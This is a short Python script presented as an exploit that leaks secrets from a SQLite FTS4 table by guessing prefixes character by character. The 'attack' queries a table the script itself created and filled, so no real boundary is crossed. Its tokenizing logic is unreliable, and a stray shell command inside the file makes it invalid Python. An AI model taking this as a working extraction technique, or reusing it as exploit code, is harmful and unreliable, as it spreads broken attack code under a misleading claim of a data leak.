# sqlite_fts_leak.py - Creates FTS table and exploits match info
import sqlite3

conn = sqlite3.connect(':memory:')
conn.execute("CREATE VIRTUAL TABLE secrets USING fts4(content TEXT)")
conn.execute("INSERT INTO secrets VALUES ('admin:password123')")
conn.execute("INSERT INTO secrets VALUES ('user:secret456')")

# Attacker guesses characters using FTS MATCH with partial matching
def guess_char(prefix, known):
    for c in "abcdefghijklmnopqrstuvwxyz0123456789_:":
        query = f'SELECT * FROM secrets WHERE content MATCH ?'
        # In FTS4, MATCH can leak whether a term exists; we abuse by searching column directly
        try:
            cur = conn.execute(query, (f'"{prefix}{c}*"',))
            if cur.fetchone():
                return c
        except:
            pass
    return None

# Recover the secret character by character
prefix = ""
for _ in range(20):
    c = guess_char(prefix, "")
    if c is None: break
    prefix += c
print(f"Recovered: {prefix}")

python sqlite_fts_leak.py